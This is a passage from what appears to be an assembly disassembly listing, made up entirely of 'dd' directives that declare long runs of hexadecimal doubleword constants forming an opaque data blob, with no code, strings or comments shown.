160BE858h, 89E47506h, 0B86D36D8h dd 2BEBCA80h, 8AE9AF0Bh, 0BE0A548Bh, 842B4710h, 66BF14E3h dd 7C9F1F9Ah, 6E30EBE0h, 79976FB1h, 0E6D7C9ACh, 0EB969904h dd 5C1675CAh, 50DC4865h, 0CA4088Dh, 3F655910h, 4DD451ECh dd 94D21645h, 756E56A0h, 2F3D3CA2h, 60848CD0h, 0B17F0534h dd 1D807124h, 0EFFBAFE9h, 0DF6CCA05h, 0C3D23110h, 0E0A1E2A2h dd 558E7B5Fh, 3F03AB11h, 0FFE6CADAh, 55DC948Bh, 860513D0h dd 81917595h, 2884C303h, 0AB045F48h, 84F4692Ch, 0D97E09EBh dd 0A279F2EEh, 8E130810h, 0A9ABAC13h, 710802D5h, 4CE2044Ah dd 0E474708Fh, 2C71D925h, 885F69D8h, 0C7BD2E98h, 30E52F4Bh dd 0CB046608h, 0D624577h, 7F264DE8h, 51A2BEEDh, 37462F94h dd 8DF940CBh, 42E6731h, 1699DD39h, 4B072603h, 1B08D7A1h dd 0F4088713h, 2F8B9003h, 8E1A7540h, 0D477613Ah, 50CFE93Dh dd 4D7573A0h, 9473F197h, 0CF210D10h, 24A3D921h, 32A4519Bh dd 854E30BCh, 0DDAD9928h, 1A980BB1h, 12DCB882h, 3A6AE48h dd 0C90F7CB7h, 3AF46CC9h, 0A18637FFh, 0EBDA2C35h, 95280D22h dd 16B280FEh, 0BCCA2824h, 26132028h, 4259DD7Ch, 211EEA4h dd 69423FAFh, 77FF6958h, 0DF379C6h, 0CBC40704h, 93010616h dd 8C5E805h, 0AFDD792Bh, 4211F17Ch, 852170F8h, 3044ED10h dd 0BC50616h, 4F2EB2AFh, 0E80477F7h, 0C1FED312h, 8FF6DD78h dd 302AC40Bh, 0D9C64479h, 4F9F9944h, 68804A80h, 79844F96h dd 0B7CDBE9Ch, 46F70E08h, 846C8483h, 9B197327h, 32A30E38h dd 840F23ECh, 522040Ah, 0FB080811h, 8A0C9A44h, 8FB5D977h dd 0ADF0EEE0h, 5E169312h, 89F42513h, 1001E0E2h, 5CE180E9h dd 0D351E830h, 82092F13h, 814C46EDh, 0F494808h, 617DE04h dd 412C8184h, 0EB29869Fh, 0B3242942h, 0DF1A402Ch, 7FF0FF8Dh dd 59132D52h, 8584552h, 9F86702Fh, 5F59B176h, 25434049h dd 4A8D995h, 14855D85h, 22D0BEDh, 44843912h, 66F6EF72h dd 6963E80Bh, 1BC13B1Bh, 0A5118D28h, 7928A5DCh, 4FEFE411h dd 0E9D264ADh, 640350DEh, 3E7BC3A4h, 9ACCFE5Fh, 7B3A23Bh dd 6951924h, 0B329FAE2h, 0F9141F0Fh, 9928824Ch, 9704D67h dd 6C6D3D7Bh, 48EC5DE8h, 8BFA281Dh, 0D5AFFA07h, 0E87D39CCh dd 0A2A3AA8Bh, 9E95458h, 0DCB29055h, 2AED84EEh, 9901DFDh dd 0A079D748h, 0D14CE964h, 3DD19A17h, 0C37E8486h, 71024497h dd 4BE3DD68h, 447DC318h, 0C8541051h, 3B08B4FEh, 87C7A032h dd 0F4321022h, 0AA4F45B8h, 6111BE62h, 0F72ADD15h, 198F24E7h dd 114F7AFh, 62956AFFh, 8098F6BBh, 2C25FFC3h, 959FDD71h dd 0B82106BCh, 0B0C8B490h, 0A832AC64h, 0A00CA419h, 219C4386h dd 0C8949098h, 4E8C6490h, 881039CCh, 0A4840E52h, 7C328006h dd 740C7819h, 11426AAh, 503D5124h, 8244C60h, 81141472h dd 2D280CE9h, 1852A05h, 0EC730318h, 0C48BC82Bh, 0E1761A74h dd 32D2D2B7h, 70C1C350h, 680C6C19h, 2B04EADh, 13448B53h dd 960B1424h, 1060A6D2h, 0D2330C19h, 11F164F7h, 0BCF2EB08h dd 6682AC5Bh, 41355CA2h, 0D1160154h, 0D1DBC9E9h, 0BD8D8EAh dd 0F475C906h, 0E838F3F7h, 917CCC64h, 306100Bh, 3B0E72D1h dd 877364Bh, 76785311h, 100C2B63h, 1424371Bh, 0C85E811h dd 0AAC3DAF7h, 5B01A783h, 835A10C2h, 0AF657658h, 14817218h dd 0D8321024h, 110A8B93h, 8141EBD3h, 9F501464h, 0F0F281D1h dd 8B451826h, 0B9E6F2C5h, 7121084h, 1760C20h, 8B9AC24Eh dd 73885EC6h, 326412FCh, 43E6002h, 33535657h, 7D0498FFh dd 66A247E8h, 1DAAA608h, 378A2E83h, 45754A29h, 181C621Ch dd 0A1C451Ch, 148978B7h, 0BE10230Bh, 0AC541A54h, 0EBD139D5h dd 91B7D929h, 90F121DBh, 5918C81Ch, 8E101C14h, 48754F3Fh dd 5F5EA133h, 865CC24Ch, 54065854h, 21504386h, 0C848904Ch dd 32406444h, 0C38193Ch, 30438634h, 24922821h, 0C26A0A32h dd 29135359h, 1733255Eh, 16346CB3h, 408C098Dh, 6B3293F8h dd 81740884h, 0A564E8D0h, 9451CC4Dh, 49772671h, 30439441h dd 557D8D75h, 0A0685209h, 112849DDh, 317C248Ch, 0C99F563Bh dd 209E0815h, 0F0B6BE51h, 0BFF9D01Fh, 0F6858B16h, 553E895Eh dd 742630D1h, 0FFC5C81Ah, 0F525ABD3h, 0F3E8C291h, 0C2C9C109h dd 0CCF0FC0Ch, 8CB08D4Ah, 0EF7B195h, 0E17235B7h, 0AC73B868h dd 1D3480CBh, 8104B949h, 6683F146h, 46895E8Fh, 0C781C754h dd 4672B406h, 8021E53h, 7C800D74h, 53547824h, 3C698306h dd 8CAD0E0Dh, 7541E85Dh, 10880F6h, 0DB07743Fh, 1CD0D7E8h dd 3E4E042Bh, 899848BDh, 8405E4Eh, 0B18157A4h, 0E5549C0h dd 0FF847549h, 216F38A3h, 2876BA1Ch, 0D0E00C76h, 0B010DAAFh dd 3A5E2E70h, 14C8C090h, 81501864h, 31D11A88h, 1C44650Eh dd 19202849h, 253F8D78h, 0EBFC82E2h, 597C304h, 9537B95h dd 527C7DF2h, 0EC110C6Fh, 96321F1h, 152350B8h, 997021E9h dd 12C101A7h, 0AB2017Dh, 32242209h, 58914648h, 7A446A22h dd 11A28990h, 0A2F27CF2h, 67AB630h, 8C4409A4h, 12688980h dd 484C245Ah, 2228913Eh, 0F8064418h, 89EC7940h, 24D012DCh dd 91B448C2h, 41C632A0h, 486C247Ch, 224A9156h, 0FC0A4420h dd 0C8E87840h, 0CC91E009h, 0A844BE22h, 7E32889Ah, 817BCA80h dd 24EC12DAh, 99325FFCh, 19748CF0h, 2609C816h, 5C224291h dd 897E6C44h, 9AB19934h, 60128E11h, 950CCA6h, 89384444h dd 2212121Eh, 0E4B17BB2h, 0F8F053F0h, 0D9040933h, 6209331Ah dd 91B58F1h, 327176D8h, 3A094811h, 26483024h, 12221C91h dd 40F20244h, 0D489E677h, 0B824C012h, 0A891B048h, 94449E22h dd 127E8988h, 486C2474h, 225C9164h, 404A4454h, 2E123889h dd 1C482424h, 8221291h, 0F684FE54h, 91EC09C8h, 7DE415E2h dd 6C88CB4h, 1908AA80h, 0D0539C10h, 7E0922D0h, 89B28A44h dd 33C427C0h, 7E975904h, 12168909h, 48022415h, 22059113h dd 0C17440Ah, 6F123389h, 12483824h, 70220391h, 89340944h dd 240B1206h, 91084810h, 44742214h, 10928211h, 73113966h dd 0A00D5709h, 447A0263h, 0FF611774h, 40944903h, 8A25FC1h dd 72108016h, 0D28A8195h, 6AE7261Ch, 8FD1ABEh, 11C51026h dd 0F009DB62h, 6F050272h, 6733802h, 0B03E1186h, 0B6CC4CDDh dd 0C1E99164h, 1B4172C0h, 0D82BFA42h, 143C6814h, 0D0CA14E0h dd 8217648h, 5B207173h, 283C4014h, 200414A6h, 4199305h dd 3348704Dh, 5C05B470h, 1C236FB0h, 501044BCh, 211C8C5h dd 9842D190h, 10A288D1h, 326F2122h, 32903005h, 30B24E5Ch dd 76496C36h, 745C5878h, 8E9114A7h, 70E2F423h, 5830077Ch dd 0D812E6F1h, 0BA4C28B6h, 0B3289154h, 0D0292BD8h, 7E3E6228h dd 3C71C802h, 50FF0185h, 720A7473h, 0A797063h, 6E656C61h dd 61796D08h, 63426FF4h, 6572660Eh, 0E5771235h, 6E29264Ah dd 0F4763D0Bh, 66F9F769h, 5D631599h, 7326486Bh, 2A8E74E6h dd 7A0A6163h, 9A656866h, 5C771B08h, 0B24C5EDDh, 0A93735Fh dd 0E24270C3h, 64611166h, 682EDE78h, 6F74C548h, 71465C69h dd 4D666E8Ah, 1307AF50h, 0BA6EDA55h, 6D8C1978h, 0A822DFEh dd 782A79B3h, 5F657869h, 78036FF2h, 0BD696563h, 1D32105Bh dd 0D9747016h, 4164A468h dd 533372E7h, 67CB6214h, 7F689728h, 14343ED6h, 3FC1D539h dd 0D4033C4h, 50584159h, 485ADD06h, 298B3210h, 2110491Fh dd 0A3EE482Ah, 0E96E3887h, 5DBC774Dh, 5F140832h, 0DBB37653h dd 0CA6FD31Ch, 1B089A6Ch, 76A79F28h, 43274E58h, 72461178h dd 48249561h, 4D009CA4h, 52435653h, 182E6854h, 0E25767C2h dd 0E3884941h, 3214303Dh, 58E7335Fh, 656A4418h, 46145A58h dd 0E0B978E7h, 2E18531Ah, 0B9BCDB0Bh, 30AC7562h, 9443C4F5h dd 1D573673h, 6DB85465h, 3AB2901Fh, 63858650h, 5308E344h dd 0AFE934DFh, 0C505212h, 9B4DCA17h, 0EA917A3Ch, 0A7504F12h dd 3E47A32Bh, 640A4DC4h, 95736C75h, 0C468AF4Eh, 66127216h dd 75431430h, 7ADD7271h, 498A3EE9h, 3B686264h, 45922221h dd 7443B14Dh, 9A7B8C1Ah, 2598207h, 86706989h, 87864327h dd 45A22ADh, 6C707544h, 3962D469h, 426C1FD4h, 95459038h dd 0A7907D1Ah, 24DD687Eh, 574C4328h, 4687908Fh, 614C123Ch dd 7E45C50Ch, 0A064996Fh, 0A5E1908Fh, 239F2150h, 0E0D68FCh dd 0AB3D6441h, 0A84C9FACh, 6A21E9CEh, 79B829FFh, 0AD5347F4h dd 443B4198h, 0AE46A869h, 969E41AAh, 6D535474h, 0D10E4270h dd 997091A6h, 9C205739h, 53469864h, 16DC4173h, 0CA9F676Ch dd 52ECC8CAh, 0C8842434h, 96619D81h, 361E494Eh, 5612122Bh dd 6973ED07h, 0C8106EE5h, 48DDD05Eh, 24184997h, 4172BA72h dd 68AB621Ch, 74530AEDh, 73750A8Bh, 0E8BA6D3Ah, 1BA466Bh dd 61705314h, 244047FFh, 0AF243944h, 70795405h, 0C604AE29h dd 2CA8FCC6h, 67766E75h, 79B28C51h, 0FE08506Dh, 9A466221h dd 717FCD6Ch, 79129426h, 3514AD1Ch, 24492CCCh, 24454273h dd 0E4A96904h, 68F2A034h, 0D1A01ABBh, 1D9586A3h, 6C7A59A5h dd 0E415A272h, 16F85355h, 455139D7h, 94170A46h, 7676659Ah dd 70572F2Bh, 28705B47h, 1F8F6E55h, 84695670h, 0DC664F77h dd 10AD4D10h, 35CDA2A9h, 679A84C6h, 0E34D928Bh, 87906852h dd 328D7624h, 96486DC4h, 0ECDC6156h, 0D05162D2h, 4F0A9226h dd 0DD5B0C6Eh, 924D8638h, 0D478488Ah, 35808DA4h, 4BE79F45h dd 0EB4E520Fh, 5DE41C4Ch, 6CD29877h, 76DE5422h, 461A7EABh dd 34CCC374h, 2630757Eh, 0B0822D1Ch, 824C0D32h, 0A24D14C9h dd 4C6761B4h, 4374A0F6h, 0D9A7A368h, 0C8A706Ch, 33B5754Eh dd 2E1A63BCh, 14EE5355h, 0A2ACF774h, 854B6737h, 990E2579h dd 67DD0769h, 2441C575h, 76F41A12h, 29B1101Ch, 2C845F34h dd 0F3341035h, 1A27215Ah, 12E92854h, 3A0BB2DAh, 55CE2238h dd 0B4A06773h, 746D813Eh, 61F99A52h, 0A825422Ch, 1623F6EDh dd 52F55637h, 0D28401D4h, 63412871h, 0F3697030h, 81B92859h dd 8A56449Dh, 70D64950h, 94DE6853h, 0F85D2B4h, 0F23E7A5Bh dd 9C664248h, 0D25F4967h, 9D4F6988h, 43DA58BEh, 5C7D4814h dd 0A152D7CBh, 25513854h, 4E4C9245h, 7B3F7150h, 0D30FB231h dd 40754E62h, 45415523h, 765A58A9h, 4C78491Ah, 4F1E9C40h dd 554145C2h, 8D849C54h, 9842F501h, 5C2C6180h, 22400991h dd 8C018014h, 0C5BC00A5h, 0E1CEC1C6h, 9A00FEA0h, 83EDA3ABh dd 7A88B1EFh, 0DFEA9Dh, 0CF89D6F7h, 0EBB9A087h, 83ECAF03h dd 84F09CB0h, 89938C70h, 0EDF4E507h, 0C160C7E0h, 7BFAD81h dd 0B9EFB3F6h, 0CFDE4188h, 0C31C4FC9h, 0C8E2EAC6h, 3FFA2CDh dd 0EBB88DB4h, 0B02DE5B2h, 73050B9h, 0D0BBCDFBh, 0CAA330BAh dd 0A90DF2A5h, 0B2F48C95h, 30B43C1Ah, 34300334h, 7525021Dh dd 622000BAh, 7328746Fh, 0B966EE29h, 77A63E36h, 0E6681EF0h dd 0BEDEACECh, 4F22255h, 413CA82Eh, 24B7EE26h, 17231CA1h dd 0E61A3B6Fh, 0AB28FE10h, 290CE410h, 79AC2DF0h, 4C3620F2h dd 845D5E69h, 0C556855Ch, 7EA85A3Ah, 44382035h, 4E69584Bh dd 4D14296Eh, 0BA71D8D0h, 646D1604h, 89F81C2Eh, 0B2C67020h dd 92DD71F1h, 4EDD7408h, 84036B4h, 0EE3E6CACh, 0FE9792AEh dd 0B52C7B9Fh, 6D58DC19h, 0DE2E3158h, 384429B1h, 0FC8F264Ah dd 0A0CE686Dh, 8431E6FAh, 5AA5EF82h, 0C097BE0Dh, 0BEB90A0Dh dd 3E986D3Fh, 0A7CE67B4h, 0D5665A51h, 0C2A4D239h, 1447642Bh dd 22AD6A22h, 2EE80C22h, 1E663233h, 0EA5C4673h, 33221443h dd 2F424B1Bh, 3C98562Fh, 8B9157D0h, 2B75843h, 0EE516277h dd 0A5207414h, 766BCA84h, 1E725485h, 0BB665EE8h, 696F201Dh dd 3963D14Bh, 48451C6h, 95A06DE2h, 429E64F7h, 101F733h dd 1DC74344h, 0FA4E4544h, 3F2022B7h, 2664135Dh, 92950C25h dd 7A1B2D0Dh, 28281313h, 55142908h, 0F10ACC72h, 758D03B6h dd 94D2E4E9h, 2D063110h, 670A944Ch, 0C63A32EEh, 17BE4275h dd 0D0142018h, 47801C34h, 2F205445h, 0DF488CA9h, 31C050C3h dd 2CDE302Eh, 6A1B6F93h, 2224AD79h, 2B26F43Dh, 6E70C392h dd 3715B1BDh, 0E1C49525h, 1F3D6E55h, 0A26FA542h, 28F4724Eh dd 63EC53FCh, 66139699h, 7955B51Ch, 5269D259h, 3221BC5Ah dd 0C832B36Fh, 37B6672Ch, 0C4708419h, 600B50EDh, 66DFD1E4h dd 19895969h, 7092035Eh, 2C696A34h, 2992EC9h, 4A3A092Fh dd 98738DBCh, 0A9EF89C6h, 4C369350h, 6C291276h, 3936E235h dd 43CE7407h, 482F3A70h, 6150227Ch, 0B423B079h, 31324353h dd 6E170A87h, 8303806h, 0DA4687Ch, 439A5C85h, 9B9C6560h dd 11C56C73h, 2095A0FDh, 2A300DA9h, 0C5375B24h, 610B916Bh dd 39429A39h, 701111A4h, 0AC4544B2h, 701A91EDh, 16E42547h dd 3313624h, 49555113h, 0C03A350Ah, 63B4D729h, 542A1429h dd 7F48098h, 0CA7562AAh, 35E64B83h, 70350F9Bh, 95835875h dd 7343E763h, 8A60C668h, 4E744019h, 40B1A23Dh, 0C7584166h dd 5C38300Eh, 10854212h, 1444A243h, 90495323h, 5042A144h dd 1085531Ch, 4C46A049h, 53472A41h, 0BC2E7D0Ch, 53D2B480h dd 227E2618h, 2D34692h, 890A2474h, 5265BC75h, 3945DA3Ch dd 50814358h, 4E4F4954h, 0F08EBB5Fh, 531F10A7h, 4BDD41DEh dd 0B756BFBCh, 57F73452h, 967B1C0Ah, 6B7F708h, 4155A016h dd 457F4C42h, 248719AEh, 947E3A37h, 0F4563DBFh, 594240C7h dd 568E5AE6h, 189D444Fh, 4147744Ch, 0D451B0EBh, 0A4435552h dd 8920853Fh, 2B075242h, 8F3ABF4Bh, 96833834h, 0F7531438h dd 0F828B2DFh, 763F748Fh, 3D0486Eh, 87706475h, 0A750EBEBh dd 2CA2B23Eh, 6312C97Ch, 18EA922Bh, 74A6B2D3h, 3FB46E1Ch dd 5035CDF2h, 6879B132h, 0AE70DAC1h, 9963891Ch, 8FEE7008h dd 4B249518h, 0CF6144D3h, 20D4F6AFh, 78671C0Dh, 8BDCD8EAh dd 1B19470Fh, 0E2737712h, 4E57C6D6h, 235FB9FBh, 8AD2A483h dd 76185732h, 0D0774146h, 2AF42D92h, 6D526514h, 6150B284h dd 52FD9C1Bh, 2ABB45EAh, 1C00143Dh, 0FB686353h, 4A0D9732h dd 0A24F626Fh, 700430BEh, 66754269h, 9D4610B0h, 294A14B3h dd 4F54FF30h, 5F10A644h, 0D7531F53h, 3515C445h, 14C8B510h dd 0E10C250Fh, 1D181D41h, 6A19AA58h, 951D4949h, 0D0613558h dd 0DAD72AB2h, 52418EF8h, 0BC52941Bh, 6BC979ADh, 4A6CB211h dd 72704C38h, 42A4CDBEh, 4E770920h, 6D0F5869h, 1B6C3744h dd 64A2CF13h, 6BB2FD50h, 6B767CC9h, 12ABE7E8h, 15D96D80h dd 31EC2149h, 0A8E033E2h, 0BF988B00h, 0CCFDEEB5h, 86A20BB0h dd 644CB9ABh, 2E303119h, 8F473908h, 0CD383683h, 9437104Fh dd 0C3FC9D08h, 0B3FE8741h dd 8B3A8303h, 14214331h, 54103ACAh, 8689494h, 0E2474CC2h dd 6994C2E0h, 393A72B2h, 2B44497Ah, 989D5B17h, 49A82A2Fh dd 9291D4C0h, 2045E2F7h, 82149EE2h, 0AAC04A0Fh, 72EF4D87h dd 675ACFF2h, 0CC413B38h, 4226762Eh, 17732D05h, 0F69BA7D8h dd 589E2696h, 0B43A06ECh, 521048A8h, 3230CC21h, 91A10958h dd 48293108h, 6B7214Bh, 4C23100Ch, 5543084Dh, 0D02152E4h dd 0A8C3438Dh, 8980929h, 64228891h, 89345444h, 880C1C20h dd 0E4818CF4h, 22D00991h, 889C44BCh, 5C126C89h, 124C0899h dd 45102424h, 20BC8BF0h, 8C9592B0h, 0FFECE301h, 0ACA1C4FDh dd 0B9A0C8h, 0BAEEB2FCh, 0FBD4CF88h, 0CD0AFEF0h, 209AE9A7h dd 9799B680h, 2E3EFE1h, 0E9FBC7E0h, 34B0AB90h, 9F008C9Eh dd 0F3EFEAFDh, 0E3BCD6h, 0F881EE86h, 0DCADE5B9h, 0F7F0A80Eh dd 0ACC3E7E9h, 0BFABBB10h, 0E3A914EFh, 0BEC028BAh, 0ADE28890h dd 0C7EAE915h, 8CAC8038h, 50CAFE80h, 2FB0AAFFh, 0D41B8DF4h dd 0E9EF2100h, 0F98682E0h, 0B49D1C8Ah, 0B2E580EAh, 0F3E1AEDCh dd 0EF902CA5h, 0C078C129h, 0F5819588h, 0E1FBEC00h, 9CE99B82h dd 0EBA200B9h, 9599A0ABh, 0EDE2F49Dh, 20CEFE2Bh, 0D110B914h dd 0EEF0B134h, 91E3D843h, 974A86E9h, 14115051h, 9C44C7BCh dd 10905868h, 15A298F4h, 8528F2A5h, 0E80184BAh, 0D0F7FEECh dd 7961504Eh, 61EBECD8h, 80980E04h, 0A18FE399h, 0B8B960A3h dd 0F28690AFh, 88F8E22Fh, 0B360208Ch, 5FE8893h, 0DAF7A2EDh dd 9C1033B0h, 0F8A74040h, 0B0F1B204h, 30809EFEh, 0F592B9h dd 0FC8688B1h, 0D0C2ACE6h, 8DEFBA05h, 2430BEBDh, 939D8FBCh dd 8F96603Ch, 0F052E28Eh, 2F93CE44h, 0ACEFE08Ch, 7B6C7C1h dd 0B9A79AF9h, 0AA201FE0h, 0F1FE8788h, 0DBE6E500h, 0BC8DDFF5h dd 0A3F03DBBh, 0B30F3856h, 0A2D19C8Fh, 6E6ED83Ah, 6581115Ch dd 286C7078h, 0D19C72BAh, 66C153C7h, 0D4747774h, 7C4D5C5Ch dd 0DE73F876h, 9ECCA71Dh, 82643EF1h, 0DF9F5FEDh, 4575EC52h dd 689EC340h, 0C631E1EDh, 643AA7C0h, 612F109Dh, 62B6E567h dd 20061B1Ch, 483A412Fh, 3446590Ah, 0B421043h, 84666916h dd 0BC1CC9A9h, 0F67AD1Ah, 0F439D550h, 2EB82618h, 521AB762h dd 44208138h, 0CEE94C71h, 724F10DAh, 81836476h, 872D6986h dd 0D996525Bh, 5EFD76BCh, 0CFA07D79h, 6B633DCEh, 590DCACAh dd 842493E3h, 0FA6A87E0h, 165C8B63h, 3715BD34h, 159C33DBh dd 6DED2153h, 0F0B17E65h, 9C032E95h, 818FB200h, 4DE3E0BFh dd 13974CFFh, 87381F50h, 9BA2B4D0h, 59B77D07h, 24817896h dd 9C37E7h, 0FC9A9DBBh, 56F7E2ADh, 0B8051CD6h, 81F68093h dd 22C3BC34h, 80B189D0h, 0FFEEF47Ch, 0B68C01FCh, 0ACE085E3h dd 0E81448ECh, 32E09058h, 249809B4h, 8B3C4854h, 0F41C8FE4h dd 9893BB0Bh, 0F3D400FFh, 0EBFBC6h, 0EAA8A389h, 94BEF9EEh dd 0AD056CB0h, 0FACFFDEFh, 0E442105Eh, 60818BB0h, 3F6EDF8h dd 8FE5A68Dh, 0EFD0A8A0h, 0A9B0B0F0h, 0A300F3E8h, 0E3BDC3EBh dd 0AF9187h, 0A8E5AAFCh, 0E7F48399h, 0D6CDBE00h, 0FFC5BDB8h dd 99FC76E3h, 8FAA606Ch, 0E200F6C1h, 0E4D1F7E1h, 7A791A2h dd 0E3EEFEA0h, 0D0707AB0h, 0C778BFFAh, 0B314E260h, 0A0DB9AEEh dd 0A5BEEFh, 0DCBCED8Fh, 0F8ADE0ABh, 0D101E671h, 0B4B2F2D7h dd 0BDCC97BFh, 0FEF7008Ch, 0EAB8F5FBh, 0BE508ACFh, 0D100F3D4h dd 0E08BE2ACh, 0AFA5E1A8h, 0F7E112B4h, 0F2C10F00h, 242892ECh dd 0ACF0029Bh, 0B78DFCE9h, 0AEE1B080h, 0F200B2ECh, 0BE9B92BAh dd 24FDE3C4h, 728B9C5h, 20F5A2A1h, 81B5ADE1h, 18B24290h dd 0C63D7098h, 34FCA9ABh, 248C83Ch, 0E0EDE1FDh, 871AE08Ch dd 0FCA129A9h, 5355C1ACh, 0D7D6C241h, 59692062h, 3936F66h dd 3A534F16h, 4891CAB4h, 40A0B55Dh, 0AA76FC2Ch, 6C86430Fh dd 621C2406h, 8016D68Ch, 55504359h, 15462F95h, 484D8313h dd 522A087Ah, 12236D61h, 0B2F428Ah, 41692051h, 50494260h dd 3A5E3676h, 55E99A2Dh, 6D81053Eh, 0CC342965h, 54A57961h dd 9F2686A6h, 70690F21h, 24754101h, 0EB9E206Ch, 4F506EE4h dd 2DB194F4h, 2D713510h, 14674B08h, 4B1A445Bh, 0C084C953h dd 52184148h, 45085744h, 53CCED5Ch, 0B649F643h, 65924F3Fh dd 9215851Dh, 7EC27212h, 345C3739h, 0D99E4EE9h, 831C591Bh dd 0D9DBE732h, 50580E76h, 847E0C14h, 33454D20h, 54493839h dd 58351120h, 5337976Eh, 93F063Fh, 926CA7D4h, 0C39359E2h dd 0A424772Ch, 54FA816Bh, 71C86894h, 5AD85F4Eh, 103DAAC4h dd 468B474Ah, 775C2E50h, 0E316D030h, 0D4BE5A4Ch, 2C1328B6h dd 41893CF5h, 5198B49Ch, 2BF271A8h, 0B16C7256h, 93434952h dd 0AC244EBFh, 800CCE1h, 5A617641h, 5A2C772h, 4CF14F42h dd 4D0D4EAEh, 5A7B392Eh, 946BA4C3h, 45287A8h, 41C21456h dd 48E85C3Ah, 0F2BA6F54h, 0AFB7207Fh, 0CA7E9499h, 1848B375h dd 0BFBD7345h, 29921742h, 0DD71A151h, 85F6134Bh, 2E1E103Dh dd 0BA2E2040h, 887557B9h, 64A6C25Eh, 3B381EF4h, 0DA2D3D63h dd 0C45B7ED7h, 64249509h, 938A178h, 62CB0110h, 0BC39456Ch dd 0F7B69531h, 0CEC8180Ah, 0A0246DBh, 67A5623Ch, 2536286Fh dd 0BC64DA50h, 61718C74h, 829196A0h, 1C6A0D31h, 0B95347Ah dd 524928A7h, 472AC129h, 0F0F139C7h, 4BB7E649h, 25408A73h dd 84FFCC78h, 0B4F08371h, 2E29DEA3h, 0CFEDE920h, 0B22F24B2h dd 5C373209h, 5467A71Bh, 50CE092Fh, 18765EBBh, 434920B0h dd 0CA504D3Eh, 0A2B6DA3h, 65C2BD84h, 42D2A02h, 3A39222Fh dd 281C1EB2h, 736D0CC5h, 4D62052Dh, 2C4203D0h, 428866B9h dd 0F3298932h, 9B8F49FCh, 26945672h, 495B9004h, 20FCDD85h dd 0A41013F4h, 0CB9C4550h, 20353C34h, 21A602E8h, 382EDA89h dd 96185C7Dh, 5C2750F1h, 6748F84Dh, 1A3CEB65h, 3A8C740Dh dd 5BFA3E18h, 70148BFDh, 7BA5EB63h, 341DB118h, 0A50A1716h dd 5D160844h, 6EF988D3h, 2E2364Bh, 34333427h, 4092B774h dd 89DAFA74h, 0E925F92Fh, 719579D1h, 0FC2EE227h, 3D1F528Ch dd 94A840B0h, 0F0F80080h, 0BCD0F3A2h, 0A07CC6E2h, 0E834ED4Ah dd 0D2814984h, 0E8356665h, 1E590E71h, 42690293h, 12EA090h dd 0E2A60859h, 32C12B69h, 527EEDF0h, 341F26CAh, 1328E86Ch dd 9C04DC8Ah, 4D4E384Ch, 2710CC60h, 1C14AC02h, 0A1353239h dd 0C3EAA002h, 78B4DC99h, 1D2B51F8h, 0A00A0C26h, 0F8402F60h dd 0AC1371D1h, 35E82B14h, 6A002D4h, 14B20E76h, 6B0F51D4h dd 5A2DF320h, 333DE966h, 5BC913DCh, 32DAE863h, 0E30B140h dd 9418822Dh, 448752E4h, 75F2195Ch, 2070B9D4h, 0B5279ABEh dd 7345789Eh, 195576Ah, 767069E9h, 6B65F134h, 54034B27h dd 1074CD68h, 69A370FDh, 2E8567ACh, 44F20364h, 0F440104Ah dd 0AAB82CC1h, 38471AE7h, 4EDC804Eh, 98B43A53h, 578F28D0h dd 38492815h, 8A086493h, 0B5449039h, 74E977D9h, 9A52452Ch dd 0E6929D6h, 0D234425Eh, 232E6194h, 21DF2446h, 0A8483CD9h dd 680DE1FFh, 0A963CBD4h, 39A55E44h, 315166DBh, 2BB0AB48h dd 8841F45Bh, 0C326C97h, 9C48B0C4h, 7891EEDCh, 0B6E0C5h dd 9BA4F105h, 7F3839DCh, 8EAD005Ch, 6920A4E8h, 0CAFB93A5h dd 9F8BB378h, 8A9A5A89h, 630A61A8h, 1A94D323h, 8A2480Ah dd 0B5A0E03Ch, 0CAC2D77h, 48046826h, 9412BBE2h, 14712B20h dd 4F4D820Ch, 7B524544h dd 40BD2829h, 77AE6240h, 128CAD12h, 20E79144h, 52EE2C6Dh dd 15354BF2h, 8AF46E1h, 0DB85502h, 0F862A4D9h, 68EBB0DCh dd 1462E583h, 6323B8C5h, 38C53880h, 411450F4h, 14745452h dd 0A06765A0h, 0AE0C0AB0h, 854A4F0Ch, 9C7BAC1Dh, 0A6C31F1h dd 48295E0Bh, 8C97C128h, 4D16A844h, 342C05AFh, 2C805785h dd 70D16814h, 0F58D2CA0h, 81D0CE56h, 2DB260E0h, 23A31C5Ch dd 896290BBh, 29BC9684h, 0C9A046E8h, 0A957CACAh, 0A113459h dd 0DFBD949h, 2A62713Ch, 343604C1h, 2B559A22h, 4E06FDAh dd 2C40E3E0h, 1C745F49h, 2CCB6CE2h, 0EBBDA8ACh, 3C0B4F21h dd 0A36E4374h, 7130DC93h, 0E534266h, 6C278170h, 7C7FE04Ah dd 0B014A90Ch, 0E0102BBDh, 0A5086670h, 23C7880Ch, 4CCBE658h dd 25F23004h, 8DFD9014h, 7038127Ch, 3F0AA847h, 60600D91h dd 91289D48h, 70A4C524h, 9DD92B0Ch, 827C5E53h, 9E9E29C3h dd 0AC360810h, 0E1D0489Dh, 29A52360h, 9A0E44Fh, 3409888Eh dd 983669F3h, 14EFBC10h, 0A7768A0h, 4715BE85h, 0B8C50C0Bh dd 84082543h, 87A794B0h, 51C259B3h, 4D04090Bh, 0A557876Bh dd 8E23FC61h, 6488336Ch, 95757E66h, 5707899h, 6C413D87h dd 384A2E79h, 46D8E396h, 0DD613E2Ah, 52428024h, 49454B4Fh dd 20991C4Eh, 1C42E333h, 84AC2B0Ch, 0B7B58A81h, 0D0F4F6B4h dd 0A98D07EBh, 0B0E3EE9Dh, 0D9FFDBFAh, 0DEB19C00h, 0F58CBCB6h dd 0AC9B48A9h, 115E88B0h, 50C0356h, 0B12C0878h, 1428E868h dd 10EE5AD1h, 0ABBF9DE0h, 80C4D738h, 0DC98E9D8h, 3C999CB9h dd 869E97CFh, 0B5A541CEh, 599BAABBh, 8895E420h, 2880F84Ah dd 1EE3A7F2h, 0AAEBB8Ch, 0CF18C489h, 0C5A9B3C0h, 0C025CDD4h dd 587C51E7h, 990180C8h, 0ADF583C5h, 0D7EA8A8Eh, 0A6D08B80h dd 0A04C87E5h, 6C46B2E4h, 12A10868h, 0E9D029A0h, 210ADC6h dd 38323166h, 0E02BA969h, 0ED996261h, 93DA7225h, 95426FB3h dd 2C970FDDh, 9385783Ch, 0F964693Dh, 693FC723h, 2885C221h dd 4B2C8E7Dh, 0BB45C999h, 9C49C7F2h, 7B91A8E0h, 4E60C499h dd 0B94B4349h, 23300531h, 693C7013h, 365677C8h, 40D292B8h dd 40058421h, 52502020h, 4D564906h, 0F66D4753h, 467DB63Ah dd 3C20093Bh, 643E423Dh, 0E25F2119h, 0FD10244Bh, 665F7849h dd 0C1D8F64h, 